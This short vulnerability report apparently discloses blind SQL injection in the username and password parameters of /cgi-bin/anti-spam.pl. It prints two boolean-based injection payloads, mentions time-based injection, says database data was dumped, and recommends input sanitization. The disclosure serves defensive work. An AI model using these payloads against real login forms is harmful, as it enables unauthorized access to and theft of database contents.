Vulnerability details below:
Affected URL: /cgi-bin/anti-spam.pl
Affected Parameter: username, password
Payload example:
- boolean-based blind SQLi
* ' AND 1234=(SELECT (CASE WHEN (TRUE) THEN 1234 ELSE (SELECT 1111 UNION
SELECT 2222) END))-- LMgx*
*' AND 1234=(SELECT (CASE WHEN (FALSE) THEN 1234 ELSE (SELECT 1111 UNION
SELECT 2222) END))-- LMgx*
- time-based blind SQLi

As a result, we were able to dump database data on application. I recommend
development team to perform input sanitization on affected parameters.
